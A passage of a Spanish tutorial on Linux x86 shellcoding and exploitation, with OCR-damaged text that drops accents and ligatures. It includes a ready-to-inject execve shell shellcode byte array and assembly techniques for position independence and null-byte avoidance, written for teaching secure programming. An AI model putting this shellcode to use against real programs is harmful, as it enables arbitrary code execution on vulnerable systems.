Sei sulla pagina 1di 102

Introduccin a la explotacin de software en o o sistemas Linux

por Albert Lpez Fernndez o a newlog[at]overflowedminds[dot]net 2009 - Oct -12

Abstract El objetivo de esta investigacin es introducir al lector en el mundo de la explotao cin de software. Las tcnicas de explotacin de software se pueden dividir en dos o e o conceptos muy generales. El primero de ellos es el shellcoding. El desarrollo de shellcodes se basa en la programacin en ensamblador de ciertas rutinas que permitan realizar las acciones que un o programador necesite una vez se haya vulnerado el software investigado. La programacin de shellcodes es bastante compleja ya que cada una de las rutinas programao das debe cumplir ciertas restricciones y, debido a estas restricciones, el programador no puede utilizar todas las funcionalidades que proporciona el lenguaje ensamblador. El segundo concepto tratado es el exploiting. El exploiting se basa en descubrir los errores que ha realizado un programador en el momento de escribir el cdigo fuente o de una aplicacin para poder vulnerar la seguridad de un sistema y tener, en el mejor o de los casos, acceso total, con los mayores privilegios, al sistema vulnerado. El primer concepto tratado en esta investigacin es el shellcoding. Elegir este o orden permite al lector aprender los conceptos bsicos de la programacin a bajo a o nivel enfocada a sistemas. De este modo, la introduccin al exploiting se simplica o bastante.

Resumen
El tema elegido para el desarrollo de esta investigacin ha sido el exploiting. o El exploiting se basa en encontrar un error de programacin o de diseo en un o n software cualquiera que permita al investigador modicar la lgica de ejecucin del o o programa en cuestin. Cuando se realiza la accin de explotar un ejecutable se puede o o desembocar en tres situaciones diferentes. La primera de ellas es en la que el software explotado termina su ejecucin. Aunque o esta consecuencia pueda parecer trivial, no lo es. Para grandes multinacionales la parada de una de sus aplicaciones de produccin puede suponer una prdida de o e cientos o miles de euros. Por ejemplo, si un empresa de compras por internet dejara de funcionar durante una horas, sus usuarios no podr realizar sus compras y eso an supondr una gran prdida para la empresa. Adems, claro est, de la prdida de a e a a e prestigio inherente a la vulneracin del sistema de seguridad de la empresa. o La segunda situacin es en la que el software explotado altera su ujo de ejecucin de o o tal manera que acta de un modo distinto al que deber En esta situacin el software u a. o explotado ejecutar instrucciones de su cdigo fuente, sin embargo, lo har cuando a o a en teor no deber hacerlo. a a La ultima situacin, y la ms peligrosa, es aquella en la que el software explotado o a ejecuta instrucciones ajenas a su cdigo fuente. Estas instrucciones las inyecta el o investigador una vez a vulnerado el software, y su propsito puede ser cualquiera. o Es en esta tercera situacin en la que entra el concepto de shellcoding. El o shellcoding se basa en la programacin de las rutinas que se le inyectarn al prograo a ma vulnerable para que ste las ejecute. La ventaja de realizar esta accin es que se e o consigue que un programa de conanza, instalado en un sistema, ejecute instrucciones ajenas a su cdigo fuente. Adems de conseguir ejecutar cualquier tipo de rutina, o a estas rutinas se ejecutan con los privilegios atribuidos al software explotado. De este modo, si un programa vulnerable se est ejecutando con permisos de root, el invesa tigador es capaz de ejecutar cualquier tipo de rutina con los mismos privilegios. De este modo se puede conseguir el control total del sistema en el que se esta ejecutando la aplicacin vulnerable. o Uno de los motivos que me llev a la realizacin de esta investigacin fue que o o o hoy en d la mayor de empresas o particulares que desarrollan software no son a a conscientes de los aspectos relativos a su explotacin. La ejecucin en un sistema o o de una unica aplicacin vulnerable entre otros cientos o miles de aplicaciones no o vulnerables hace que todo un sistema se convierta en un sistema inseguro. Debido a que actualmente la mayor de tareas que realizamos las realizamos con un ordenador a al frente, los usuarios no se pueden permitir el lujo de utilizar sistemas inseguros donde la integridad y privacidad de sus datos pueda ser vulnerada. Esta investigacin o intenta ser un ejercicio de divulgacin para que los desarrolladores de software sean o conscientes de estos aspectos.

Indice
Indice ndice de tablas Indice de guras 1. Introduccin o 2. Shellcoding 3. Conceptos bsicos sobre el shellcoding a 3.1. The Addressing Problem . . . . . . . . 3.1.1. The JMP/CALL Trick . . . . . 3.1.2. Pushing the Arguments . . . . 3.2. The Null Byte Problem . . . . . . . . . 4. Implementando llamadas al sistema 1 3 3 4 7 9 9 10 12 14 17

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

5. Optimizacin de los shellcodes o 19 5.1. Optimizacin del tamao . . . . . . . . . . . . . . . . . . . . . . . . . 19 o n 5.1.1. La instruccin cdq . . . . . . . . . . . . . . . . . . . . . . . . 19 o 5.1.2. Uso inteligente de la pila . . . . . . . . . . . . . . . . . . . . . 19 6. Tipos de shellcodes 6.1. Shellcodes locales . . . . . . . . . . 6.1.1. Execve shellcode . . . . . . 6.2. Shellcodes remotos . . . . . . . . . 6.2.1. Port binding shellcode . . . 6.2.2. Reverse connection shellcode 21 21 21 23 24 33 39 39 41 48 49 51 53

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

7. Hacking de shellcodes 7.1. Cuestin de privilegios . . . . . . . . . . . . . o 7.2. Shellcode polimrco . . . . . . . . . . . . . . o 7.3. Reutilizacin de las variables de un programa o 7.3.1. Programas de cdigo abierto . . . . . . o 7.3.2. Programas de cdigo cerrado . . . . . . o 8. Exploiting

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

9. Desbordamiento de b fers en la pila u 9.1. Marco de pila generado por el compilador GCC 9.2. Desbordamiento bsico de bfers en la pila . . . a u 9.3. Ejecucin de cdigo arbitrario . . . . . . . . . . o o 9.3.1. Modicacin del registro EIP . . . . . . o 9.3.2. Construccin del exploit . . . . . . . . . o 10.L neas de futuro Bibliograf a A. Apndice I e B. Apndice II e

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

54 57 62 76 76 80 87 88 89 94

ndice de tablas
1. 2. 3. 4. Equivalencias ASCII . . . . . . . . Equivalencias entre cdigo mquina o a Instruccin cdq . . . . . . . . . . . o Tamao instrucciones . . . . . . . . n . y . . . . . . . . . . ensamblador . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 16 19 20

Indice de guras
1. 2. 3. 4. Llamada a una funcin o Direccionamiento Little Registro ESP . . . . . Diagrama de ujo . . . . . . . . Endian . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 12 13 24

1.

Introduccin o

Este trabajo explica algunos de los mtodos utilizados para explotar software. e La explotacin de software se basa en encontrar algn tipo de vulnerabilidad en o u un programa para poder modicar su comportamiento. Esta modicacin puede o desembocar en la ejecucin de cdigo totalmente ajeno al software explotado, en el o o cierre del software explotado o en la alteracin de su lgica de ejecucin. o o o Hoy en d la sociedad vive rodeada de tecnolog la sociedad depende de la a, a, tecnolog y, a su vez, la tecnolog depende completamente del software que se le ha a a programado. Leemos nuestra correspondencia con el ordenador, nos comunicamos con nuestros mviles, compramos por internet, nuestros hogares y veh o culos estn a protegidos por sistemas electrnicos, las comunicaciones mundiales dependen de siso temas informticos, los sensores de aviones y barcos funcionan gracias a su software a y centrales trmicas o nucleares dependen de los sistemas de control y medicin que e o se les ha programado. Es por esta razn por la que el software desarrollado por o empresas y particulares deber basarse en un principio de seguridad total. a Actualmente, el software desarrollado no puede permitirse el lujo de slo ser funo cional o de tener una interfaz grca impresionante. Cuando se trata de software a cr tico -y actualmente la mayor de software es cr a tico - es mucho peor tener software funcional e inseguro que, directamente, no tener el software. Acaso alguien tendr a el valor suciente como para subir a un avin cuando se es consciente de que su softo ware de control es vulnerable y de que cualquier atacante podr alterar su rumbo a de vuelo? Acaso no es mejor que cien personas no puedan coger un vuelo a que cien personas acaben en el fondo del atlntico? a Es por esta razn por la que se ha desarrollado este documento. Para acercar de un o modo sencillo los conceptos de seguridad a nivel de aplicacin. Este documento ino tenta realizar una introduccin al anlisis de vulnerabilidades y su explotacin. Estos o a o conceptos se explican del modo ms simple posible para que no slo los ms experia o a mentados puedan entenderlo. Se trata de que sean asequibles para los programadores ms noveles, pues son estos los que programarn el software del futuro. a a Ser plausible llegar a la conclusin de que para aprender a desarrollar software a o seguro no es necesario conocer los ataques a los que dicho software est sometido. Sin a embargo, llegar a esta conclusin no ser ms que un error. Si un programador no o a a conociera la metodolog utilizada por los atacantes jams ser capaz de anticiparse a a a a sus acciones y siempre ir un paso por detrs. Jams podr idear un nuevo sistema a a a a de defensa sin conocer todos los detalles de un ataque. Si a un programador slo se le o enseara qu funciones son vulnerables y cules no, cmo ser capaz de programar n e a o a sus propias funciones sin caer en los mismos errores que sus antecesores? Por esta razn este documento explica con mximo detalle cuales son algunos de los conceptos o a y tcnicas utilizados para vulnerar software. e 4

En el panorama actual de desarrollo de software parece ser que el diseo del softn ware y la aplicacin de metodolog de desarrollo de software tienen mucha ms o as a valoracin que la programacin del propio software. No se niega que el diseo del o o n software debe realizarse de manera concisa y exhaustiva, teniendo en cuenta cada uno de sus aspectos, sin embargo, su programacin debe ser igual de concisa y exhaustiva. o Es por esta razn por la que un gran diseo fracasar sin una gran programacin. o n a o Pudiera pensarse que cualquier programador con una m nima experiencia o un ingeniero recin licenciado tiene los conocimientos necesarios para desarrollar software e able, sin embargo, este pensamiento no puede distar ms de la realidad y aun menos a se puede decir que puedan desarrollar software seguro. Para ser capaz de desarrollar software seguro es necesaria la destreza de un ingeniero con una gran formacin y o habilidad. Sin embargo, la mayor de empresas contratan programadores noveles a a los que les pagan una miseria y despus pretenden que su software sea competitivo. e Esto es una insensatez y si documentos como el presente ayudan a cambiar el modo de operar de aquellos que deben dirigir o disear proyectos, el desarrollo de esta n investigacin ya habr cumplido uno de sus cometidos. o a Debido a que esta investigacin no est enfocada al desarrollo de ningn tipo o a u de software concreto, se hace imposible realizar una clara separacin del contenido o terico y el contenido prctico. La metodolog seguida al desarrollar este trabajo o a a se ha basado en presentar unos conceptos tericos y, acto seguido, demostrarlos o mediante programas propios o mediante herramientas disponibles para el sistema con el que se trabaja. Aunque esta investigacin trata muchos conceptos, el trabajo se divide en dos o apartados muy distintos entre si. El primero que se desarrolla es el conocido como shellcoding. El shellcoding es el arte de programar ciertas rutinas en ensamblador para inyectarlas directamente en memoria en tiempo de ejecucin. El shellcoding o es un arte porqu cada situacin requiere un tipo de rutina espec e o ca y, en muchos casos, estas rutinas han de cumplir ciertas restricciones. Realizar un buen shellcode signica dominar al mximo el lenguaje ensamblador para conseguir realizar operaa ciones con un cdigo que ocupe el menos espacio posible. Los shellcodes acostumbran o a ocupar pocos bytes aun cuando un programa que realice la misma tarea pueda ocupar cientos o miles de bytes. El segundo apartado de este trabajo es el exploiting. Al principio de esta investigacin ya se ha dado una breve explicacin de lo que signica explotar software, que es o o lo mismo que el exploiting. Lo que no se ha comentado es que una vez el software se ha explotado correctamente, ser el shellcode que se ha programado con anterioridad a el que se ejecutar para demostrar que el software es vulnerable. Cuando se explota a cualquier tipo de software y se es capaz de ejecutar el shellcode de nuestra eleccin o se puede decir que el software explotado est en la peor situacin posible. a o Comentar que el cap tulo de shellcoding se explica antes que el cap tulo de exploiting para ir introduciendo los conceptos de sistema a bajo nivel. El hecho de elegir este 5

orden permite introducirse en el mundo del exploiting de un modo ms sencillo. a A continuacin se da una breve descripcin sobre aquellos cap o o tulos de esta investigacin que desarrollan conceptos intr o nsecos al desarrollo de shellcodes y exploits: En el Cap tulo 2 se hace una pequea introduccin a los conceptos ms bsicos n o a a sobre el shellcoding. En el Cap tulo 3 se presentan algunos de los problemas con los que uno se puede encontrar al desarrollar shellcodes. A su vez, para cada problema se plantean una o varias soluciones y se estudia cual de ellas es la mejor. En el Cap tulo 4 se detalla el modo de realizar llamadas al sistema en ensamblador. En el Cap tulo 5 se comentan algunas de las optimizaciones que se le puede implementar al cdigo fuente de los shellcodes. o En el Cap tulo 6 se presentan algunas de las implementaciones ms comunes en el a momento de desarrollar shellcodes. En el Cap tulo 7 se explican algunas implementaciones de shellcodes que permiten optimizar an ms los shellcodes o saltarse ciertas medidas de seguridad. u a En el Cap tulo 8 se hace una breve introduccin al concepto de exploiting y se coo mentan algunas de sus consecuencias. En el Cap tulo 9 se introduce el concepto de desbordamiento de bfers en la pila. Se u detalla como se construye un marco de pila real, cmo sucede un desbordamiento y o se explican algunas de las tcnicas utilizadas para aprovecharse de estos desbordae mientos. Para la realizacin de esta investigacin se ha trabajado con la distribucin de o o o Linux U buntu en su versin 10.10. El cdigo fuente escrito est pensado para ejecuo o a tarse en arquitecturas Intel x86 de 32 bits.

2.

Shellcoding

Se llama shellcode al cdigo inyectado a un programa en ejecucin cuando se o o ha de explotar una vulnerabilidad1 . El modo de conseguir esta inyeccin de cdigo o o depende de cada situacin. En cualquier caso, se trata de aprovechar los errores o que pueda contener el cdigo del programa objetivo. Algunas de las vulnerabilidades o ms comunes son la siguientes: stack overf lows, integer overf lows, heap overf lows, a f ormat string corruptions . . . Los shellcodes2 estn programados en lenguaje ensamblador3 . El ejecutable creaa do a partir de su cdigo tiene que ser optimo en cuanto a velocidad y dimensin. o o Como veremos ms adelante lo que buscaremos al programar shellcodes, ser que a a su ejecutable ocupe el m nimo espacio posible. En la optimizacin del shellcode es o dnde reside la genialidad del programador. o Un shellcode no es exactamente un programa ejecutable, por tanto, no se podr dea clarar la disposicin de los datos en memoria y, an menos, utilizar otros segmentos o u de memoria para nuestros propsitos. Las instrucciones deben ser independientes y o tienen que estar programadas de tal manera que permitan tomar el control del procesador en cualquier momento. Este tipo de cdigos son comnmente denominados o u como cdigos independientes de la posicin. o o Cuando el cdigo de un shellcode se adjunta al cdigo de un exploit4 , ste no se o o e inserta tal y como se ha programado, sino que se ha de codicar en hexadecimal y almacenarlo en un array del tipo char. Un ejemplo de shellcode listo para insertar en un exploit es el que podemos encontrar en el Cdigo 1. o
char shellcode [] = " \ xb0 \ x0b " " \ x99 " " \ x52 " " \ x68 \ x2f \ x2f \ x73 \ x68 " " \ x68 \ x2f \ x62 \ x69 \ x6e " " \ x89 \ xe3 " " \ x52 "
Una vulnerabilidad es un error de programacin que afecta directamente a la integridad del o sistema en el que se est ejecutando dicho programa. a 2 Dado que la palabra shellcode proviene del ingls, no tenemos ninguna referncia sobre su e e gnero. Por esta razn, en est art e o e culo he decido tratar esta palabra como si su gnero fuera e masculino. Comnmente, en mbitos de habla hispana, esta palabra es tratada como si su gnero u a e fuera femenino, sin embargo, creo que dicha precisin es incorrecta, pues la palabra shellcode hace o referencia a un tipo de cdigo y, la palabra cdigo es de gnero masculino. o o e 3 En este art culo, los shellcodes sern programados para arquitecturas Intel x86. a 4 Se llama exploit al cdigo que explota algn tipo de vulnerabilidad. o u
1

1 2 3 4 5 6 7

8 9 10

" \ x53 " " \ x89 \ xe1 " " \ xcd \ x80 " ;

Cdigo 1. Shellcode en hexadecimal de ejemplo o

3.

Conceptos bsicos sobre el shellcoding a

Como se ha comentado en el apartado anterior, el cdigo de un shellcode debe o ser independiente de la posicin y, adems de cumplir esta restriccin, los shellcodes o a o acostumbran a ser inyectados en memoria a partir de funciones orientadas al trabajo con cadenas. Estas dos caracter sticas son las que introducen los problemas ms a comunes a la hora de desarrollar un shellcode. Estos problemas son conocidos con los nombres de Addressing P roblem5 y N ull Byte P roblem6 . En los siguientes cap tulos, se mostrarn diferentes cdigos fuentes preparados a o para que el lector pueda compilarlos y ejecutarlos en un ordenador actual. Sin embargo, debido a que se est programando a muy bajo nivel se debe ser consciente a de que al compilar el cdigo fuente de un modo u otro, ste se situar en diferentes o e a posiciones de memoria. Actualmente, los diferentes sistemas operativos del mercado implementan varias medidas de seguridad para intentar impedir la explotacin del o sof tware mal programado. Tal y como se ha dicho, estas medidas de seguridad no son ms que un intento por securizar las aplicaciones que se ejecutan en el sistema a operativo, sin embargo, por el momento, no se ha encontrado ningn mtodo genriu e e co que permita a los sistemas operativos hacer que las aplicaciones que se ejecutan en l no sean explotables. e Debido a que el objetivo de esta investigacin no es el de cmo vulnerar dichos o o mecanismos de seguridad, en el Apndice II se explica el modo de desactivarlos. e Adems, en dicho apndice se explica tambin cmo compilar los cdigos mostrados a e e o o a continuacin y las implicaciones de compilar de un modo u otro. o

3.1.

The Addressing Problem

Dado que los shellcodes se inyectan a programas que estn en ejecucin y se a o almacenan en la memoria de manera dinmica su cdigo debe ser autocontenido y, a o por tanto, debemos saber la direccin de memoria de algunos de los elementos que o usaremos en nuestro shellcode. Para obtener las direccines de memoria necesarias para el correcto funcionamiento o de un shellcode disponemos de dos mtodos. El primero se basa en localizar la e informacin en la pila -stack- a partir de las instrucciones jmp y call. Con el segundo o mtodo se ha de insertar la informacin en la pila y despus almacenar el contenido e o e del registro esp7 .
Problema de direccionamiento. Problema del byte nulo. 7 El Extended Stack P ointer (ESP ) es el registro donde se almacena la posicin en memoria o del ultimo dato introducido en la pila
6 5

3.1.1.

The JMP/CALL Trick

A simple vista, este mtodo puede parecer complejo, sin embargo, una vez se e entiende como funciona internamente la intruccin call, desaparece cualquier tipo de o complicacin. o En la Figura 1 se puede ver un grco que ejemplica, el funcionamiento de dicha a instruccin. o Figura 1. Llamada a una funcin o

A grandes rasgos, la instruccin call es el equivalente a llamar a una funcin en o o el lenguaje de programacin c. o Como se puede ver en la Figura 1, cuando se ejecuta la instruccin call, en la pila se o inserta la direccin de memoria por la cual tendr que continuar el ujo del programa o a una vez se retornara de la funcin llamada por la instruccin call. As pues, se o o concluye que justo en el momento de ejecutar la instruccin call, en la parte superior o de la pila tenemos almacenada la direccin de retorno de la funcin. o o El Cdigo 2 ejemplica cmo podr o o amos obtener la direccin de memoria donde se o almacena una cadena cualquiera.
1 2 3 4 5 6 7

BITS 32 jmp short code : pop esi short : call code db texto

10

Cdigo 2. Implementacin del jmp/call trick o o En la primera l nea salta a la etiqueta data. En la segunda l nea tenemos la estiqueta code. En la tercera l nea almacenamos lo que hay en la parte superior de la pila en el registro esi. En la cuarta l nea tenemos la etiqueta short. En la quinta l nea llamamos a la funcin code, con lo que en la pila se inserta la o direccin de retorno de la funcin code. Y es en la tercera l o o nea dnde almacenamos o dicha direccin. o En la sexta l nea tenemos el texto del cual queremos saber donde estar ubicado en a memoria en tiempo de ejecucin. o Para almacenar la direccin donde se ubica la cadena se ha tenido que utilizar esta o estructura en el cdigo para evitar insertar bytes nulos, pero de esto se hablar en o a los prximos apartados. Ahora slo ha de quedar claro que utilizando este truco o o podemos averiguar donde se ubican las cadenas en memoria.

11

3.1.2.

Pushing the Arguments

Aunque el JM P/CALL T rick es un mtodo funcional, el mtodo que se presenta e e en este apartado permite reducir substancialmente el tamao de un shellcode. Para n llevar a cabo esta tcnica no es necesario recurrir a complicadas estructuras de cdigo e o como con el truco del JM P/CALL, sin embargo, para entenderla se necesita tener dos conceptos claros. El primero de ellos es que dado que estamos trabajando con la pila en una arquitectura little endian8 los datos que se insertan en memoria y son de ms de un byte se a introducen en el orden inverso al escrito. La Figura 2 clarica la explicacin. o Figura 2. Direccionamiento Little Endian

1 El segundo concepto que se ha de tener claro es que para aadir una cadena a la n pila se debe codicar en hexadecimal9 y en bloques de 32 o 64 bits10 . En un caso real, si se quisiera saber en qu direccin de memoria se almacena la e o cadena Morning! usando el mtodo pushing the arguments se podr utilizar un e a cdigo tal que el 3. o
1 2 3 4 5

BITS 32 xor eax , eax push byte al push 0 x696e6721 push 0 x6e726f4d
En http://es.wikipedia.org/wiki/Little-endian se puede encontrar una buena explicacin sobre o el tipo de direccionamiento en cada arquitectura. 9 En http://www.ascii.cl/es podemos encontrar las equivalencias necesarias. 10 Esto se debe al tipo de arquitectura con el que se trabaje. En este ensayo se trabajar con una a arquitectura de 32 bits.
8

12

mov esi , esp

Cdigo 3. Mtodo P ushing the arguments o e En la segunda l nea se pone a cero el registro eax. Se usa este mtodo, en vez de e utilizar la instruccin mov ya que, cmo veremos en los prximos apartados, gracias o o o a la instruccin xor el shellcode es un byte ms pequeo. En la tercera l o a n nea se inserta en la pila un byte nulo, el byte de menos peso del registro eax. Esto lo hacemos para que la cadena Morning! acabe con un byte nulo. En las l neas 3 y 4 insertamos en la pila la cadena Morning!. Las equivalencias se encuentran en la Tabla 1. Tabla 1. Equivalencias ASCII Hexadecimal ASCII 0x69 i 0x6e n 0x67 g 0x21 ! 0x6e n 0x72 r 0x6f o 0x4d M

En la ultima l nea se almacena en esi el valor del registro esp, por tanto, esi contiene la direccin de memoria donde est ubicado el principio de la cadena. o a Despus de ejecutar el cdigo el estado de la pila ser parecido al de la Figura 3. e o a Figura 3. Registro ESP

13

3.2.

The Null Byte Problem

Los shellcode acostumbran a ser inyectados en memoria a partir de funciones orientadas a cadenas -strcpy(), sprintf(). . . -. Si estas funciones encuentran un byte nulo en medio del cdigo, dan el shellcode por nalizado con lo que ste no se inyecta o e en memoria por completo. No hay una regla general que nos permita eludir la insercin de bytes nulos en o un shellcode, sin embargo, tenemos herramientas que nos permiten saber si nuestro shellcode los contiene. Un byte nulo se genera cuando nuestro cdigo fuente se traduce o a sus correspondientes instrucciones en cdigo mquina y no es ms que un conjunto o a a de ocho bits a cero, tal y como su nombre indica. He escrito un cdigo que facilita la deteccin de bytes nulos. Est programado para o o a plataformas con GN U/Linux. Para que el cdigo funcione se necesita tener instalada o una aplicacin llamada ndisasm que viene instalada en la mayor de distribuciones o a o que se puede instalar fcilmente con cualquier gestor de paquetes. El programa, a bautizado como N ullBytes, se compone por seis archivos: N ullBytes.c, M ensajes.h, M ensajes.c, Salida.h, Salida.c y el makef ile. En el Apndice I se lista el contenido e de cada archivo. Para entender su funcionamiento bastar con compilar el cdigo a o ejecutando el comando make y despus el comando ./N ullBytes h. e A continuacin se plantearn soluciones a diferentes casos prcticos dnde se o a a o pueden generar bytes nulos: call 0x14 Esta instruccin salta 0x13h11 (o 19d) bytes hacia adelante. Dado que 19d es un o nmero muy pequeo, una vez se genere el cdigo mquina del shellcode, al 19d se u n o a le anteponen varios ceros (ya que la arquitectura del procesador es de 32 o 64 bits) con lo que el shellcode tendr bytes nulos. a Para solucionar este caso hemos de utilizar el ya conocido mtodo del JM P/CALL. e Imaginemos que el cdigo de donde se obtiene la instruccin call 0x14 viene de deso o ensamblar el Cdigo 4. o
1 2 3 4 5 6

BITS 32 call mark db " Hello world " ,0 x0a mark : pop ecx ( ... )

Cdigo 4. Ejemplo de byte nulo o


11

La h indica que el valor est en hexadecimal. Si hubiera una d el valor estar en decimal a a

14

En el cdigo anterior la etiqueta mark, de la instruccin call, se traduce por o o el valor absoluto del salto que se ha de hacer en memoria para llegar a ejecutar la etiqueta especicada. Como se ha comentado, el cdigo anterior tiene bytes nulos. o Lo correcto ser utilizar un cdigo tal que el 5. a o
1 2 3 4 5 6 7 8

BITS 32 jmp short one two : pop ecx ( ... ) one : call two : db " Hello world ! " ,0 x0a

Cdigo 5. Solucin al byte nulo o o Porqu el jmp short one y el call two no contienen bytes nulos? e Tanto la instruccin jmp como la instruccin call estan pensadas para realizar o o grandes saltos, sin embargo, a diferencia de la instruccin call, cuando hacemos saltos o con jmp podemos utilizar otra versin de la instruccin que es ms adecuada para o o a realizar saltos cortos -de aproximadamente 128 bytes- y gracias a ello nos ahorramos el relleno de ceros. Dicha instruccin es la jmp short. o Por otro lado, como se puede apreciar en el cdigo anterior, tenemos un call. Este o call no es problemtico ya que el salto es negativo, o sea, va hacia atrs. Cuando se a a hacen saltos negativos el procesador utiliza el mtodo CA2 12 con lo que los bits de e signo (negativo) se ponen a 1. Gracias a esto el call no contiene bytes nulos. mov eax, 0x4 Si nos encontramos con instrucciones que trabajan con los registros al completo (32 o 64 bits) y en ellos se almacenan valores pequeos, lo que hemos de hacer es trabajar n con sus homlogos sin versin extendida. Por ejemplo, deber o o amos cambiar eax por al. Porqu con mov al, 0x4 no obtenemos bytes nulos? e Los registros eax, ebx, ecx, edx, esi, edi, ebp y esp son registros de 32 bits. Estos registros se pueden dividir de varias maneras. Si se trabaja con los registros ax, bx, cx, dx, si, di, bp y sp slo se podrn almacenar variables de 16 bits. Por ultimo, o a algunos de estos registros an pueden dividirse en al, ah, bl, bh, cl, ch, dl, dh que son u la versin de un byte de los registros eax, ebx, ecx, edx. Cada tupla de registros o de un byte vienen a ser los dos bytes de menos peso del registro extendido al que
12

En http://es.wikipedia.org/wiki/Complemento a dos se puede encontrar ms informacin. a o

15

pertenecen. Adems, la letra l o h determina si es el byte de ms o menos peso. a a Por ejemplo, el registro al contiene los bits del 0 al 7 del registro eax, en cambio, el registro ah contiene los bits del 8 al 15. El problema del byte nulo viene cuando en un registro se almacena una variable para la cual sobra espacio. El espacio sobrante se rellena con bits a cero, con lo que se generan bytes nulos. Asues, si almacenamos p un valor pequeo en un registro del tipo al, dicho registro no se rellenar con ceros n a y as se evitar la generacin de bytes nulos. La Tabla 2 se ve el cdigo ensamblador a o o de diferentes instrucciones y su traduccin a cdigo mquina. o o a Tabla 2. Equivalencias entre cdigo mquina y ensamblador o a Cdigo mquina Ensamblador o a B8 04 00 00 00 mov eax, 0x4 66 B8 04 00 mov ax, 0x4 B0 04 mov al, 0x4

Como se puede ver en la Tabla 2, la instruccin mov eax, 0x4 genera tres bytes o nulos. La instruccin mov ax, 0x4 genera un byte nulo y la instruccin mov al, 0x4 o o no genera ninguno.

16

4.

Implementando llamadas al sistema

Una llamada al sistema -system call- es una funcin dada por el sistema operatio vo. En Linux o BSD, para especicar que queremos ejecutar una llamada al sistema usamos la instruccin int 0x80. Una vez se ejecuta dicha instruccin, el kernel busca o o en el registro eax el nmero que ha de identicar la llamada al sistema que queremos u ejecutar. Si se encuentra un valor correcto en el registro eax el kernel procesa los argumentos dados para la llamada al sistema y la ejecuta. Los valores identicativos de cada llamada al sistema se pueden encontrar en un archivo llamado unistd.h. Dependiendo de la distribucin de GN U/Linux o de la o versin del kernel de la que se disponga, el archivo puede encontrarse en diferentes o ubicaciones. Para localizarlo bastar con ejecutar el comando updatedb, seguido de a locate unistd.h en la consola del sistema. Explicada la teoria, en el Cdigo 6 se ver un ejemplo en el cual se ejecutar la o a a llamada al sistema exit. Exactamente exit(0).
1 2 3 4 5

BITS 32 xor eax , eax xor ebx , ebx mov al , 1 int 0 x80

Cdigo 6. Llamada al sistema exit o En la segunda y tercera l nea se ponen a cero los registros eax y ebx. En la cuarta l nea, a los ocho bits de menos peso de eax se les asigna un 1. En la quinta l nea se notica al kernel de que se quiere ejecutar una llamada al sistema. Se inicializa eax porque ser el registro que contendr el nmero identicativo de a a u la llamada al sistema en cuestin. Por eso, despus de que se inicialice, se le asigna o e un 1, que es el id de exit. Dado que como argumento la system call exit utilizar un a cero, se ha de poner dicho valor en el registro ebx. Una vez realizados estos pasos, slo queda noticar al kernel de que todo est preparado para la ejecucin de la o a o system call. A partir del ejemplo anterior se podr adivinar cual es la metodologia que utia liza el ncleo del sistema para ejecutar las llamadas al sistema. Cuando se procesa u la instruccin int 0x80, el kernel busca en el registro eax cual ser la llamada al o a sistema a ejecutar. Una vez sabe cual es la system call a ejecutar, el kernel conoce cuantos argumentos necesita dicha llamada. Los argumentos los hemos de almacenar en los registros ebx, ecx, edx, esi y edi. Si la llamada al sistema tuviera ms de 5 a argumentos se tendr que almacenar en el registro correcto la direccin de memoria a o 17

donde encontrar los argumentos restantes. En casos excepcionales, el registro ebp se utiliza como argumento temporal13 .
13

http://www.tldp.org/LDP/lki/lki-2.html#ss2.11

18

5.

Optimizacin de los shellcodes o

Antes de entrar de pleno en la programacin de shellcodes es bueno tener una o base tcnica en la que sustentarse. Por ello, en este breve cap e tulo se darn unas a breves directrices para empezar a programar los shellcodes de un modo eciente. De esta manera, no tendremos que corregir nuestros shellcodes una vez hayan sido programados, sino que desde un principio los programaremos teniendo en cuenta los puntos que se expondrn a continuacin. a o

5.1.
5.1.1.

Optimizacin del tama o o n


La instruccin cdq o

En ensamblador existe una instruccin llamada cdq una palabra (word) doble o a cudruple. Dado que los registros son de 32 bits (palabras dobles) necesitaremos a dos registros para almacenar el resultado de la instruccin cdq. En el caso de la o instruccin cdq, el registro eax se utiliza como origen y los registros edx y el mismo o eax se usan como destino. Lo que realiza la instruccin es una extensin del bit de o o signo de un entero de 32 bits (almacenado en eax). As pues, si en eax se almacena un cero - el bit de signo es 0 -, se conseguir poner a a cero el registro edx sin tener que realizar una xor con lo que, en cuanto a tamao, n se ahorrar un byte. En la Tabla 3 se muestra como la instruccin cdq ocupa un byte a o menos que la instruccin xor. o Tabla 3. Instruccin cdq o Cdigo mquina Ensamblador o a 31 D2 xor edx, edx 99 cdq

5.1.2.

Uso inteligente de la pila

Cuando se desapila un byte de la pila a un registro de 32 bits se realiza automtia camente una extensin de signo llenando todo el registro en cuestin. As pues, si se o o diera el caso en el que se hubieran de ejecutar las siguientes instrucciones: xor eax, eax mov al, 0xb Las podr amos substituir por las citadas a continuacin y se obtendr el mismo o a resultado a la vez que se reducir en un byte el tamao total del shellcode: a n 19

push byte 0xb pop eax Dado que en binario 0xb es 00001011, al hacer el pop eax se realizar una extensin a o de signo - 0 en nuestro caso - y los 24 bits restantes del registro eax se llenarn de a ceros con lo que uno se ahorra realizar el xor eax, eax. En la Tabla 4 se muestra una tabla con el tamao de cada conjunto de instrucciones. n

Tabla 4. Tamao instrucciones n Cdigo mquina Ensamblador o a 31 C0 xor eax, eax B0 0B mov al, 0xb 6A 0B push byte 0xb 58 pop eax

Como se puede apreciar, utilizando el segundo conjunto de instrucciones nos ahorramos un byte. Cabe destacar que siempre que se use la instruccin push ser o a correcto especicar el tamao de la variable a almacenar. Los tamaos disponibles n n son byte, word y dword que especican que la variable es de 8, 16 y 32 bits respectivamente.

20

6.

Tipos de shellcodes

